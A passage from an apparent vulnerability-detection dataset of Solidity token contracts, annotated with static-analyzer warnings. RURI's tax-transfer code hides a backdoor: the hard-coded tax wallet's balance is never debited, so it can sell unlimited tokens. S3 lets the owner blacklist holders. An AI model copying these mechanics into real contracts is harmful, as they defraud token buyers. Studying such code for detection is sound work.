15;\n\n\t// WARNING Optimization Issue (constable-states | ID: d959e92): RURI._initialSellTax should be constant \n\t// Recommendation for d959e92: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 411fa1c): RURI._finalBuyTax should be constant \n\t// Recommendation for 411fa1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6995c75): RURI._finalSellTax should be constant \n\t// Recommendation for 6995c75: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b22ac3): RURI._reduceBuyTaxAt should be constant \n\t// Recommendation for 4b22ac3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea6c025): RURI._reduceSellTaxAt should be constant \n\t// Recommendation for ea6c025: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e1178d): RURI._preventSwapBefore should be constant \n\t// Recommendation for 8e1178d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 11;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RURI-CHAN\";\n\n string private constant _symbol = unicode\"RURI\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0dd8746): RURI._taxSwapThreshold should be constant \n\t// Recommendation for 0dd8746: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b0f8f4): RURI._maxTaxSwap should be constant \n\t// Recommendation for 5b0f8f4: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fb842b0): RURI._taxWallet should be immutable \n\t// Recommendation for fb842b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public lpPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: b602acb): RURI.dlgTaxExcluded should be constant \n\t// Recommendation for b602acb: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 279874a): RURI.dlgTaxExcluded is never initialized. It is used in RURI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 279874a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private dlgTaxExcluded;\n\n bool private limitsInEffect = true;\n\n struct DelegatedClaim {\n uint256 claimDlg;\n uint256 claimNativeDlg;\n uint256 isEnabledDlg;\n }\n\n uint256 private minDlgClaim;\n\n mapping(address => DelegatedClaim) private delegatedClaim;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x80aD1959c80f8FB2aB656D87EF353E15E3146C4f);\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[address(this)] = true;\n\n _excludedFromLimits[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a84e3ec): RURI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a84e3ec: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c23c741): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c23c741: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41f94b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41f94b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c23c741\n\t\t// reentrancy-benign | ID: 41f94b1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c23c741\n\t\t// reentrancy-benign | ID: 41f94b1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7977ddf): RURI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7977ddf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 41f94b1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c23c741\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d62e6a4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d62e6a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d0ee109): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d0ee109: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e91c046): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e91c046: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n bool isSell = to == lpPair;\n\n bool isBuy = from == lpPair;\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (isBuy && to != address(_router) && !_excludedFromLimits[to]) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (isSell && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n isSell &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d62e6a4\n\t\t\t\t// reentrancy-benign | ID: d0ee109\n\t\t\t\t// reentrancy-eth | ID: e91c046\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d62e6a4\n\t\t\t\t\t// reentrancy-eth | ID: e91c046\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: d0ee109\n minDlgClaim = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (!isSell) {\n DelegatedClaim storage dlgClaim = delegatedClaim[to];\n\n if (isBuy) {\n if (dlgClaim.claimDlg == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: d0ee109\n dlgClaim.claimDlg = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n DelegatedClaim storage dlgClaimStd = delegatedClaim[from];\n\n if (\n dlgClaim.claimDlg == 0 ||\n dlgClaimStd.claimDlg < dlgClaim.claimDlg\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: d0ee109\n dlgClaim.claimDlg = dlgClaimStd.claimDlg;\n }\n }\n } else {\n DelegatedClaim storage dlgClaimStd = delegatedClaim[from];\n\n\t\t\t\t// reentrancy-benign | ID: d0ee109\n dlgClaimStd.claimNativeDlg = dlgClaimStd.claimDlg.sub(\n minDlgClaim\n );\n\n\t\t\t\t// reentrancy-benign | ID: d0ee109\n dlgClaimStd.isEnabledDlg = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: d62e6a4\n\t\t// reentrancy-eth | ID: e91c046\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 279874a): RURI.dlgTaxExcluded is never initialized. It is used in RURI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 279874a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : dlgTaxExcluded.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e91c046\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d62e6a4\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: e91c046\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: e91c046\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: d62e6a4\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d62e6a4\n\t\t// reentrancy-events | ID: c23c741\n\t\t// reentrancy-benign | ID: 41f94b1\n\t\t// reentrancy-benign | ID: d0ee109\n\t\t// reentrancy-eth | ID: e91c046\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n limitsInEffect = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d62e6a4\n\t\t// reentrancy-events | ID: c23c741\n\t\t// reentrancy-eth | ID: e91c046\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2ee3b75): RURI.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2ee3b75: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aa769ae): RURI.openTrading() ignores return value by IERC20(lpPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for aa769ae: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f89d2d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f89d2d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f89d2d7\n lpPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// unused-return | ID: 2ee3b75\n\t\t// reentrancy-eth | ID: f89d2d7\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: aa769ae\n\t\t// reentrancy-eth | ID: f89d2d7\n IERC20(lpPair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: f89d2d7\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function stuckEthRescue() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10241.sol",
"size_bytes": 22591,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract S3 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d9c6f53): S3._taxWallet should be immutable \n\t// Recommendation for d9c6f53: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8d035a): S3._initialBuyTax should be constant \n\t// Recommendation for b8d035a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70e9264): S3._initialSellTax should be constant \n\t// Recommendation for 70e9264: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 11a47b4): S3._reduceBuyTaxAt should be constant \n\t// Recommendation for 11a47b4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b6096c): S3._reduceSellTaxAt should be constant \n\t// Recommendation for 9b6096c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39e06b3): S3._preventSwapBefore should be constant \n\t// Recommendation for 39e06b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sperminator 3\";\n\n string private constant _symbol = unicode\"S3\";\n\n uint256 public _maxTxAmount = 20000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8472eb2): S3._taxSwapThreshold should be constant \n\t// Recommendation for 8472eb2: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ffc8f0): S3._maxTaxSwap should be constant \n\t// Recommendation for 2ffc8f0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 66339c0): S3.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 66339c0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1a31689): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1a31689: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2c8ea25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2c8ea25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1a31689\n\t\t// reentrancy-benign | ID: 2c8ea25\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1a31689\n\t\t// reentrancy-benign | ID: 2c8ea25\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cf84a83): S3._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cf84a83: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2c8ea25\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1a31689\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 09c8862): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 09c8862: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fec74ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fec74ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 09c8862\n\t\t\t\t// reentrancy-eth | ID: fec74ca\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 09c8862\n\t\t\t\t\t// reentrancy-eth | ID: fec74ca\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fec74ca\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: fec74ca\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fec74ca\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 09c8862\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fec74ca\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fec74ca\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 09c8862\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1a31689\n\t\t// reentrancy-events | ID: 09c8862\n\t\t// reentrancy-benign | ID: 2c8ea25\n\t\t// reentrancy-eth | ID: fec74ca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: bf6a30d): S3.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for bf6a30d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1a31689\n\t\t// reentrancy-events | ID: 09c8862\n\t\t// reentrancy-eth | ID: fec74ca\n\t\t// arbitrary-send-eth | ID: bf6a30d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: caa3e88): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for caa3e88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4bbc190): S3.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4bbc190: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e8a8199): S3.openTrading() ignores return value by 